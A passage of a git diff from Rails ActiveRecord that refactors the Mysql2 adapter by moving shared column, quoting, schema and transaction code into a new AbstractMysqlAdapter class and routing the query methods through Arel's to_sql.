b/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb @@ -54,7 +54,7 @@ module ActiveRecord # # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError # may be returned on an error. - def self.establish_connection(spec = nil) + def self.establish_connection(spec = ENV["DATABASE_URL"]) case spec when nil raise AdapterNotSpecified unless defined?(Rails.env) @@ -115,6 +115,14 @@ module ActiveRecord retrieve_connection end + def connection_id + Thread.current['ActiveRecord::Base.connection_id'] + end + + def connection_id=(connection_id) + Thread.current['ActiveRecord::Base.connection_id'] = connection_id + end + # Returns the configuration of the associated connection as a hash: # # ActiveRecord::Base.connection_config @@ -126,7 +134,7 @@ module ActiveRecord end def connection_pool - connection_handler.retrieve_connection_pool(self) + connection_handler.retrieve_connection_pool(self) or raise ConnectionNotEstablished end def retrieve_connection diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb index 777ef15dfc..dc4a53034b 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb @@ -1,30 +1,39 @@ module ActiveRecord module ConnectionAdapters # :nodoc: module DatabaseStatements + # Converts an arel AST to SQL + def to_sql(arel) + if arel.respond_to?(:ast) + visitor.accept(arel.ast) + else + arel + end + end + # Returns an array of record hashes with the column names as keys and # column values as values. - def select_all(sql, name = nil, binds = []) - select(sql, name, binds) + def select_all(arel, name = nil, binds = []) + select(to_sql(arel), name, binds) end # Returns a record hash with the column names as keys and column values # as values. - def select_one(sql, name = nil) - result = select_all(sql, name) + def select_one(arel, name = nil) + result = select_all(arel, name) result.first if result end # Returns a single value from a record - def select_value(sql, name = nil) - if result = select_one(sql, name) + def select_value(arel, name = nil) + if result = select_one(arel, name) result.values.first end end # Returns an array of the values of the first column in a select: # select_values("SELECT id FROM companies LIMIT 3") => [1,2,3] - def select_values(sql, name = nil) - result = select_rows(sql, name) + def select_values(arel, name = nil) + result = select_rows(to_sql(arel), name) result.map { |v| v[0] } end @@ -74,20 +83,20 @@ module ActiveRecord # # If the next id was calculated in advance (as in Oracle), it should be # passed in as +id_value+. - def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = []) - sql, binds = sql_for_insert(sql, pk, id_value, sequence_name, binds) + def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = []) + sql, binds = sql_for_insert(to_sql(arel), pk, id_value, sequence_name, binds) value = exec_insert(sql, name, binds) id_value || last_inserted_id(value) end # Executes the update statement and returns the number of rows affected. - def update(sql, name = nil, binds = []) - exec_update(sql, name, binds) + def update(arel, name = nil, binds = []) + exec_update(to_sql(arel), name, binds) end # Executes the delete statement and returns the number of rows affected. - def delete(sql, name = nil, binds = []) - exec_delete(sql, name, binds) + def delete(arel, name = nil, binds = []) + exec_delete(to_sql(arel), name, binds) end # Checks whether there is currently no transaction active. This is done @@ -297,6 +306,16 @@ module ActiveRecord end end + # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work + # on mysql (even when aliasing the tables), but mysql allows using JOIN directly in + # an UPDATE statement, so in the mysql adapters we redefine this to do that. + def join_to_update(update, select) #:nodoc: + subselect = select.clone + subselect.projections = [update.key] + + update.where update.key.in(subselect) + end + protected # Returns an array of record hashes with the column names as keys and # column values as values. diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb index 093c30aa42..27ff13ad89 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb @@ -55,9 +55,10 @@ module ActiveRecord @query_cache.clear end - def select_all(sql, name = nil, binds = []) + def select_all(arel, name = nil, binds = []) if @query_cache_enabled - cache_sql(sql, binds) { super } + sql = to_sql(arel) + cache_sql(sql, binds) { super(sql, name, binds) } else super end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb index 3de850ec9e..f93c7cd74a 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb @@ -102,10 +102,13 @@ module ActiveRecord def quoted_date(value) if value.acts_like?(:time) zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal - value.respond_to?(zone_conversion_method) ? value.send(zone_conversion_method) : value - else - value - end.to_s(:db) + + if value.respond_to?(zone_conversion_method) + value = value.send(zone_conversion_method) + end + end + + value.to_s(:db) end end end diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb index 65024d76f8..4c3a8f7233 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb @@ -2,21 +2,33 @@ require 'date' require 'bigdecimal' require 'bigdecimal/util' require 'active_support/core_ext/benchmark' - -# TODO: Autoload these files -require 'active_record/connection_adapters/column' -require 'active_record/connection_adapters/abstract/schema_definitions' -require 'active_record/connection_adapters/abstract/schema_statements' -require 'active_record/connection_adapters/abstract/database_statements' -require 'active_record/connection_adapters/abstract/quoting' -require 'active_record/connection_adapters/abstract/connection_pool' -require 'active_record/connection_adapters/abstract/connection_specification' -require 'active_record/connection_adapters/abstract/query_cache' -require 'active_record/connection_adapters/abstract/database_limits' -require 'active_record/result' +require 'active_support/deprecation' module ActiveRecord module ConnectionAdapters # :nodoc: + extend ActiveSupport::Autoload + + autoload :Column + + autoload_under 'abstract' do + autoload :IndexDefinition, 'active_record/connection_adapters/abstract/schema_definitions' + autoload :ColumnDefinition, 'active_record/connection_adapters/abstract/schema_definitions' + autoload :TableDefinition, 'active_record/connection_adapters/abstract/schema_definitions' + autoload :Table, 'active_record/connection_adapters/abstract/schema_definitions' + + autoload :SchemaStatements + autoload :DatabaseStatements + autoload :DatabaseLimits + autoload :Quoting + + autoload :ConnectionPool + autoload :ConnectionHandler, 'active_record/connection_adapters/abstract/connection_pool' + autoload :ConnectionManagement, 'active_record/connection_adapters/abstract/connection_pool' + autoload :ConnectionSpecification + + autoload :QueryCache + end + # Active Record supports multiple database systems. AbstractAdapter and # related classes form the abstraction layer which makes this possible. # An AbstractAdapter represents a connection to a database, and provides an @@ -38,12 +50,34 @@ module ActiveRecord define_callbacks :checkout, :checkin + attr_accessor :visitor + def initialize(connection, logger = nil) #:nodoc: @active = nil @connection, @logger = connection, logger @query_cache_enabled = false @query_cache = Hash.new { |h,sql| h[sql] = {} } + @open_transactions = 0 @instrumenter = ActiveSupport::Notifications.instrumenter + @visitor = nil + end + + # Returns a visitor instance for this adaptor, which conforms to the Arel::ToSql interface + def self.visitor_for(pool) # :nodoc: + adapter = pool.spec.config[:adapter] + + if Arel::Visitors::VISITORS[adapter] + ActiveSupport::Deprecation.warn( + "Arel::Visitors::VISITORS is deprecated and will be removed. Database adapters " \ + "should define a visitor_for method which returns the appropriate visitor for " \ + "the database. For example, MysqlAdapter.visitor_for(pool) returns " \ + "Arel::Visitors::MySQL.new(pool)." + ) + + Arel::Visitors::VISITORS[adapter].new(pool) + else + Arel::Visitors::ToSql.new(pool) + end end # Returns the human-readable name of the adapter. Use mixed case - one @@ -177,12 +211,9 @@ module ActiveRecord @connection end - def open_transactions - @open_transactions ||= 0 - end + attr_reader :open_transactions def increment_open_transactions - @open_transactions ||= 0 @open_transactions += 1 end @@ -207,6 +238,10 @@ module ActiveRecord node end + def case_insensitive_comparison(table, attribute, column, value) + table[attribute].lower.eq(table.lower(value)) + end + def current_savepoint_name "active_record_#{open_transactions}" end diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb new file mode 100644 index 0000000000..dd573ba569 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb @@ -0,0 +1,630 @@ +require 'active_support/core_ext/object/blank' + +module ActiveRecord + module ConnectionAdapters + class AbstractMysqlAdapter < AbstractAdapter + class Column < ConnectionAdapters::Column # :nodoc: + attr_reader :collation + + def initialize(name, default, sql_type = nil, null = true, collation = nil) + super(name, default, sql_type, null) + @collation = collation + end + + def extract_default(default) + if sql_type =~ /blob/i || type == :text + if default.blank? + return null ? nil : '' + else + raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}" + end + elsif missing_default_forged_as_empty_string?(default) + nil + else + super + end + end + + def has_default? + return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns + super + end + + # Must return the relevant concrete adapter + def adapter + raise NotImplementedError + end + + def case_sensitive? + collation && !collation.match(/_ci$/) + end + + private + + def simplified_type(field_type) + return :boolean if adapter.emulate_booleans && field_type.downcase.index("tinyint(1)") + + case field_type + when /enum/i, /set/i then :string + when /year/i then :integer + when /bit/i then :binary + else + super + end + end + + def extract_limit(sql_type) + case sql_type + when /blob|text/i + case sql_type + when /tiny/i + 255 + when /medium/i + 16777215 + when /long/i + 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases + else + super # we could return 65535 here, but we leave it undecorated by default + end + when /^bigint/i; 8 + when /^int/i; 4 + when /^mediumint/i; 3 + when /^smallint/i; 2 + when /^tinyint/i; 1 + else + super + end + end + + # MySQL misreports NOT NULL column default when none is given. + # We can't detect this for columns which may have a legitimate '' + # default (string) but we can for others (integer, datetime, boolean, + # and the rest). + # + # Test whether the column has default '', is not null, and is not + # a type allowing default ''. + def missing_default_forged_as_empty_string?(default) + type != :string && !null && default == '' + end + end + + ## + # :singleton-method: + # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt> + # as boolean. If you wish to disable this emulation (which was the default + # behavior in versions 0.13.1 and earlier) you can add the following line + # to your application.rb file: + # + # ActiveRecord::ConnectionAdapters::Mysql[2]Adapter.emulate_booleans = false + class_attribute :emulate_booleans + self.emulate_booleans = true + + LOST_CONNECTION_ERROR_MESSAGES = [ + "Server shutdown in progress", + "Broken pipe", + "Lost connection to MySQL server during query", + "MySQL server has gone away" ] + + QUOTED_TRUE, QUOTED_FALSE = '1', '0' + + NATIVE_DATABASE_TYPES = { + :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY", + :string => { :name => "varchar", :limit => 255 }, + :text => { :name => "text" }, + :integer => { :name => "int", :limit => 4 }, + :float => { :name => "float" }, + :decimal => { :name => "decimal" }, + :datetime => { :name => "datetime" }, + :timestamp => { :name => "datetime" }, + :time => { :name => "time" }, + :date => { :name => "date" }, + :binary => { :name => "blob" }, + :boolean => { :name => "tinyint", :limit => 1 } + } + + # FIXME: Make the first parameter more similar for the two adapters + def initialize(connection, logger, connection_options, config) + super(connection, logger) + @connection_options, @config = connection_options, config + @quoted_column_names, @quoted_table_names = {}, {} + end + + def self.visitor_for(pool) # :nodoc: + Arel::Visitors::MySQL.new(pool) + end + + def adapter_name #:nodoc: + self.class::ADAPTER_NAME + end + + # Returns true, since this connection adapter supports migrations. + def supports_migrations? + true + end + + def supports_primary_key? + true + end + + # Returns true, since this connection adapter supports savepoints. + def supports_savepoints? + true + end + + def supports_bulk_alter? #:nodoc: + true + end + + def native_database_types + NATIVE_DATABASE_TYPES + end + + # HELPER METHODS =========================================== + + # The two drivers have slightly different ways of yielding hashes of results, so + # this method must be implemented to provide a uniform interface. + def each_hash(result) # :nodoc: + raise NotImplementedError + end + + # Overridden by the adapters to instantiate their specific Column type. + def new_column(field, default, type, null, collation) # :nodoc: + Column.new(field, default, type, null, collation) + end + + # Must return the Mysql error number from the exception, if the exception has an + # error number. + def error_number(exception) # :nodoc: + raise NotImplementedError + end + + # QUOTING ================================================== + + def quote(value, column = nil) + if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary) + s = column.class.string_to_binary(value).unpack("H*")[0] + "x'#{s}'" + elsif value.kind_of?(BigDecimal) + value.to_s("F") + else + super + end + end + + def quote_column_name(name) #:nodoc: + @quoted_column_names[name] ||= "`#{name.to_s.gsub('`', '``')}`" + end + + def quote_table_name(name) #:nodoc: + @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`') + end + + def quoted_true + QUOTED_TRUE + end + + def quoted_false + QUOTED_FALSE + end + + # REFERENTIAL INTEGRITY ==================================== + + def disable_referential_integrity(&block) #:nodoc: + old = select_value("SELECT @@FOREIGN_KEY_CHECKS") + + begin + update("SET FOREIGN_KEY_CHECKS = 0") + yield + ensure + update("SET FOREIGN_KEY_CHECKS = #{old}") + end + end + + # DATABASE STATEMENTS ====================================== + + # Executes the SQL statement in the context of this connection. + def execute(sql, name = nil) + if name == :skip_logging + @connection.query(sql) + else + log(sql, name) { @connection.query(sql) } + end + rescue ActiveRecord::StatementInvalid => exception + if exception.message.split(":").first =~ /Packets out of order/ + raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings." + else + raise + end + end + + # MysqlAdapter has to free a result after using it, so we use this method to write + # stuff in a abstract way without concerning ourselves about whether it needs to be + # explicitly freed or not. + def execute_and_free(sql, name = nil) #:nodoc: + yield execute(sql, name) + end + + def update_sql(sql, name = nil) #:nodoc: + super + @connection.affected_rows + end + + def begin_db_transaction + execute "BEGIN" + rescue Exception + # Transactions aren't supported + end + + def commit_db_transaction #:nodoc: + execute "COMMIT" + rescue Exception + # Transactions aren't supported + end + + def rollback_db_transaction #:nodoc: + execute "ROLLBACK" + rescue Exception + # Transactions aren't supported + end + + def create_savepoint + execute("SAVEPOINT #{current_savepoint_name}") + end + + def rollback_to_savepoint + execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}") + end + + def release_savepoint + execute("RELEASE SAVEPOINT #{current_savepoint_name}") + end + + # In the simple case, MySQL allows us to place JOINs directly into the UPDATE + # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support + # these, we must use a subquery. However, MySQL is too stupid to create a + # temporary table for this automatically, so we have to give it some prompting + # in the form of a subsubquery. Ugh! + def join_to_update(update, select) #:nodoc: + if select.limit || select.offset || select.orders.any? + subsubselect = select.clone + subsubselect.projections = [update.key] + + subselect = Arel::SelectManager.new(select.engine) + subselect.project Arel.sql(update.key.name) + subselect.from subsubselect.as('__active_record_temp') + + update.where update.key.in(subselect) + else + update.table select.source + update.wheres = select.constraints + end + end + + # SCHEMA STATEMENTS ======================================== + + def structure_dump #:nodoc: + if supports_views? + sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'" + else + sql = "SHOW TABLES" + end + + select_all(sql).map do |table| + table.delete('Table_type') + sql = "SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}" + exec_without_stmt(sql).first['Create Table'] + ";\n\n" + end.join("") + end + + # Drops the database specified on the +name+ attribute + # and creates it again using the provided +options+. + def recreate_database(name, options = {}) + drop_database(name) + create_database(name, options) + end + + # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>. + # Charset defaults to utf8. + # + # Example: + # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin' + # create_database 'matt_development' + # create_database 'matt_development', :charset => :big5 + def create_database(name, options = {}) + if options[:collation] + execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`" + else + execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`" + end + end + + # Drops a MySQL database. + # + # Example: + # drop_database('sebastian_development') + def drop_database(name) #:nodoc: + execute "DROP DATABASE IF EXISTS `#{name}`" + end + + def current_database + select_value 'SELECT DATABASE() as db' + end + + # Returns the database character set. + def charset + show_variable 'character_set_database' + end + + # Returns the database collation strategy. + def collation + show_variable 'collation_database' + end + + def tables(name = nil, database = nil) #:nodoc: + sql = ["SHOW TABLES", database].compact.join(' IN ') + + execute_and_free(sql, 'SCHEMA') do |result| + result.collect { |field| field.first } + end + end + + def table_exists?(name) + return true if super + + name = name.to_s + schema, table = name.split('.', 2) + + unless table # A table was provided without a schema + table = schema + schema = nil + end + + tables(nil, schema).include? table + end + + # Returns an array of indexes for the given table. + def indexes(table_name, name = nil) #:nodoc: + indexes = [] + current_index = nil + execute_and_free("SHOW KEYS FROM #{quote_table_name(table_name)}", 'SCHEMA') do |result| + each_hash(result) do |row| + if current_index != row[:Key_name] + next if row[:Key_name] == 'PRIMARY' # skip the primary key + current_index = row[:Key_name] + indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], []) + end + + indexes.last.columns << row[:Column_name] + indexes.last.lengths << row[:Sub_part] + end + end + + indexes + end + + # Returns an array of +Column+ objects for the table specified by +table_name+. + def columns(table_name, name = nil)#:nodoc: + sql = "SHOW FULL FIELDS FROM #{quote_table_name(table_name)}" + execute_and_free(sql, 'SCHEMA') do |result| + each_hash(result).map do |field| + new_column(field[:Field], field[:Default], field[:Type], field[:Null] == "YES", field[:Collation]) + end + end + end + + def create_table(table_name, options = {}) #:nodoc: + super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB")) + end + + def bulk_change_table(table_name, operations) #:nodoc: + sqls = operations.map do |command, args| + table, arguments = args.shift, args + method = :"#{command}_sql" + + if respond_to?(method) + send(method, table, *arguments) + else + raise "Unknown method called : #{method}(#{arguments.inspect})" + end + end.flatten.join(", ") + + execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}") + end + + # Renames a table. + # + # Example: + # rename_table('octopuses', 'octopi') + def rename_table(table_name, new_name) + execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}" + end + + def add_column(table_name, column_name, type, options = {}) + execute("ALTER TABLE #{quote_table_name(table_name)} #{add_column_sql(table_name, column_name, type, options)}") + end + + def change_column_default(table_name, column_name, default) + column = column_for(table_name, column_name) + change_column table_name, column_name, column.sql_type, :default => default + end + + def change_column_null(table_name, column_name, null, default = nil) + column = column_for(table_name, column_name) + + unless null || default.nil? + execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") + end + + change_column table_name, column_name, column.sql_type, :null => null + end + + def change_column(table_name, column_name, type, options = {}) #:nodoc: + execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}") + end + + def rename_column(table_name, column_name, new_column_name) #:nodoc: + execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}") + end + + # Maps logical Rails types to MySQL-specific data types. + def type_to_sql(type, limit = nil, precision = nil, scale = nil) + return super unless type.to_s == 'integer' + + case limit + when 1; 'tinyint' + when 2; 'smallint' + when 3; 'mediumint' + when nil, 4, 11; 'int(11)' # compatibility with MySQL default + when 5..8; 'bigint' + else raise(ActiveRecordError, "No integer type has byte size #{limit}") + end + end + + def add_column_position!(sql, options) + if options[:first] + sql << " FIRST" + elsif options[:after] + sql << " AFTER #{quote_column_name(options[:after])}" + end + end + + # SHOW VARIABLES LIKE 'name' + def show_variable(name) + variables = select_all("SHOW VARIABLES LIKE '#{name}'") + variables.first['Value'] unless variables.empty? + end + + # Returns a table's primary key and belonging sequence. + def pk_and_sequence_for(table) + execute_and_free("DESCRIBE #{quote_table_name(table)}", 'SCHEMA') do |result| + keys = each_hash(result).select { |row| row[:Key] == 'PRI' }.map { |row| row[:Field] } + keys.length == 1 ? [keys.first, nil] : nil + end + end + + # Returns just a table's primary key + def primary_key(table) + pk_and_sequence = pk_and_sequence_for(table) + pk_and_sequence && pk_and_sequence.first + end + + def case_sensitive_modifier(node) + Arel::Nodes::Bin.new(node) + end + + def case_insensitive_comparison(table, attribute, column, value) + if column.case_sensitive? + super + else + table[attribute].eq(value) + end + end + + def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key) + where_sql + end + + protected + + def quoted_columns_for_index(column_names, options = {}) + length = options[:length] if options.is_a?(Hash) + + case length + when Hash + column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) } + when Fixnum + column_names.map {|name| "#{quote_column_name(name)}(#{length})"} + else + column_names.map {|name| quote_column_name(name) } + end + end + + def translate_exception(exception, message) + case error_number(exception) + when 1062 + RecordNotUnique.new(message, exception) + when 1452 + InvalidForeignKey.new(message, exception) + else + super + end + end + + def add_column_sql(table_name, column_name, type, options = {}) + add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" + add_column_options!(add_column_sql, options) + add_column_position!(add_column_sql, options) + add_column_sql + end + + def change_column_sql(table_name, column_name, type, options = {}) + column = column_for(table_name, column_name) + + unless options_include_default?(options) + options[:default] = column.default + end + + unless options.has_key?(:null) + options[:null] = column.null + end + + change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" + add_column_options!(change_column_sql, options) + add_column_position!(change_column_sql, options) + change_column_sql + end + + def rename_column_sql(table_name, column_name, new_column_name) + options = {} + + if column = columns(table_name).find { |c| c.name == column_name.to_s } + options[:default] = column.default + options[:null] = column.null + else + raise ActiveRecordError, "No such column: #{table_name}.#{column_name}" + end + + current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"] + rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}" + add_column_options!(rename_column_sql, options) + rename_column_sql + end + + def remove_column_sql(table_name, *column_names) + columns_for_remove(table_name, *column_names).map {|column_name| "DROP #{column_name}" } + end + alias :remove_columns_sql :remove_column + + def add_index_sql(table_name, column_name, options = {}) + index_name, index_type, index_columns = add_index_options(table_name, column_name, options) + "ADD #{index_type} INDEX #{index_name} (#{index_columns})" + end + + def remove_index_sql(table_name, options = {}) + index_name = index_name_for_remove(table_name, options) + "DROP INDEX #{index_name}" + end + + def add_timestamps_sql(table_name) + [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)] + end + + def remove_timestamps_sql(table_name) + [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)] + end + + private + + def supports_views? + version[0] >= 5 + end + + def column_for(table_name, column_name) + unless column = columns(table_name).find { |c| c.name == column_name.to_s } + raise "No such column: #{table_name}.#{column_name}" + end + column + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb index d6c167ad36..971f3c35f3 100644 --- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb @@ -1,4 +1,4 @@ -# encoding: utf-8 +require 'active_record/connection_adapters/abstract_mysql_adapter' gem 'mysql2', '~> 0.3.6' require 'mysql2' @@ -20,187 +20,51 @@ module ActiveRecord end module ConnectionAdapters - class Mysql2IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths) #:nodoc: - end + class Mysql2Adapter < AbstractMysqlAdapter - class Mysql2Column < Column - BOOL = "tinyint(1)" - def extract_default(default) - if sql_type =~ /blob/i || type == :text - if default.blank? - return null ? nil : '' - else - raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}" - end - elsif missing_default_forged_as_empty_string?(default) - nil - else - super + class Column < AbstractMysqlAdapter::Column # :nodoc: + def adapter + Mysql2Adapter end end - def has_default? - return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns - super - end - - private - def simplified_type(field_type) - return :boolean if Mysql2Adapter.emulate_booleans && field_type.downcase.index(BOOL) - - case field_type - when /enum/i, /set/i then :string - when /year/i then :integer - when /bit/i then :binary - else - super - end - end - - def extract_limit(sql_type) - case sql_type - when /blob|text/i - case sql_type - when /tiny/i - 255 - when /medium/i - 16777215 - when /long/i - 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases - else - super # we could return 65535 here, but we leave it undecorated by default - end - when /^bigint/i; 8 - when /^int/i; 4 - when /^mediumint/i; 3 - when /^smallint/i; 2 - when /^tinyint/i; 1 - else - super - end - end - - # MySQL misreports NOT NULL column default when none is given. - # We can't detect this for columns which may have a legitimate '' - # default (string) but we can for others (integer, datetime, boolean, - # and the rest). - # - # Test whether the column has default '', is not null, and is not - # a type allowing default ''. - def missing_default_forged_as_empty_string?(default) - type != :string && !null && default == '' - end - end - - class Mysql2Adapter < AbstractAdapter - cattr_accessor :emulate_booleans - self.emulate_booleans = true - ADAPTER_NAME = 'Mysql2' - PRIMARY = "PRIMARY" - - LOST_CONNECTION_ERROR_MESSAGES = [ - "Server shutdown in progress", - "Broken pipe", - "Lost connection to MySQL server during query", - "MySQL server has gone away" ] - - QUOTED_TRUE, QUOTED_FALSE = '1', '0' - - NATIVE_DATABASE_TYPES = { - :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY", - :string => { :name => "varchar", :limit => 255 }, - :text => { :name => "text" }, - :integer => { :name => "int", :limit => 4 }, - :float => { :name => "float" }, - :decimal => { :name => "decimal" }, - :datetime => { :name => "datetime" }, - :timestamp => { :name => "datetime" }, - :time => { :name => "time" }, - :date => { :name => "date" }, - :binary => { :name => "blob" }, - :boolean => { :name => "tinyint", :limit => 1 } - } def initialize(connection, logger, connection_options, config) - super(connection, logger) - @connection_options, @config = connection_options, config - @quoted_column_names, @quoted_table_names = {}, {} + super configure_connection end - def adapter_name - ADAPTER_NAME - end + # HELPER METHODS =========================================== - # Returns true, since this connection adapter supports migrations. - def supports_migrations? - true - end - - def supports_primary_key? - true - end - - # Returns true, since this connection adapter supports savepoints. - def supports_savepoints? - true - end - - def native_database_types - NATIVE_DATABASE_TYPES - end - - # QUOTING ================================================== - - def quote(value, column = nil) - if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary) - s = column.class.string_to_binary(value).unpack("H*")[0] - "x'#{s}'" - elsif value.kind_of?(BigDecimal) - value.to_s("F") + def each_hash(result) # :nodoc: + if block_given? + result.each(:as => :hash, :symbolize_keys => true) do |row| + yield row + end else - super + to_enum(:each_hash, result) end end - def quote_column_name(name) #:nodoc: - @quoted_column_names[name] ||= "`#{name}`" + def new_column(field, default, type, null, collation) # :nodoc: + Column.new(field, default, type, null, collation) end - def quote_table_name(name) #:nodoc: - @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`') + def error_number(exception) + exception.error_number if exception.respond_to?(:error_number) end + # QUOTING ================================================== + def quote_string(string) @connection.escape(string) end - def quoted_true - QUOTED_TRUE - end - - def quoted_false - QUOTED_FALSE - end - def substitute_at(column, index) Arel.sql "\0" end - # REFERENTIAL INTEGRITY ==================================== - - def disable_referential_integrity(&block) #:nodoc: - old = select_value("SELECT @@FOREIGN_KEY_CHECKS") - - begin - update("SET FOREIGN_KEY_CHECKS = 0") - yield - ensure - update("SET FOREIGN_KEY_CHECKS = #{old}") - end - end - # CONNECTION MANAGEMENT ==================================== def active? @@ -213,11 +77,6 @@ module ActiveRecord connect end - # this is set to true in 2.3, but we don't want it to be - def requires_reloading? - false - end - # Disconnects from the database if already connected. # Otherwise, this method does nothing. def disconnect! @@ -273,17 +132,22 @@ module ActiveRecord # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been # made since we established the connection @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone - if name == :skip_logging - @connection.query(sql) - else - log(sql, name) { @connection.query(sql) } - end - rescue ActiveRecord::StatementInvalid => exception - if exception.message.split(":").first =~ /Packets out of order/ - raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings." - else - raise - end + + super + end + + def exec_query(sql, name = 'SQL', binds = []) + result = execute(sql, name) + ActiveRecord::Result.new(result.fields, result.to_a) + end + + alias exec_without_stmt exec_query + + # Returns an array of record hashes with the column names as keys and + # column values as values. + def select(sql, name = nil, binds = []) + binds = binds.dup + exec_query(sql.gsub("\0") { quote(*binds.shift.reverse) }, name).to_a end def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) @@ -312,358 +176,35 @@ module ActiveRecord @connection.last_id end - def update_sql(sql, name = nil) - super - @connection.affected_rows - end - - def begin_db_transaction - execute "BEGIN" - rescue Exception - # Transactions aren't supported - end - - def commit_db_transaction - execute "COMMIT" - rescue Exception - # Transactions aren't supported - end - - def rollback_db_transaction - execute "ROLLBACK" - rescue Exception - # Transactions aren't supported - end - - def create_savepoint - execute("SAVEPOINT #{current_savepoint_name}") - end - - def rollback_to_savepoint - execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}") - end - - def release_savepoint - execute("RELEASE SAVEPOINT #{current_savepoint_name}") - end - - # SCHEMA STATEMENTS ======================================== - - def structure_dump - if supports_views? - sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'" - else - sql = "SHOW TABLES" - end - - select_all(sql).inject("") do |structure, table| - table.delete('Table_type') - structure += select_one("SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}")["Create Table"] + ";\n\n" - end - end - - # Drops the database specified on the +name+ attribute - # and creates it again using the provided +options+. - def recreate_database(name, options = {}) - drop_database(name) - create_database(name, options) - end - - # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>. - # Charset defaults to utf8. - # - # Example: - # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin' - # create_database 'matt_development' - # create_database 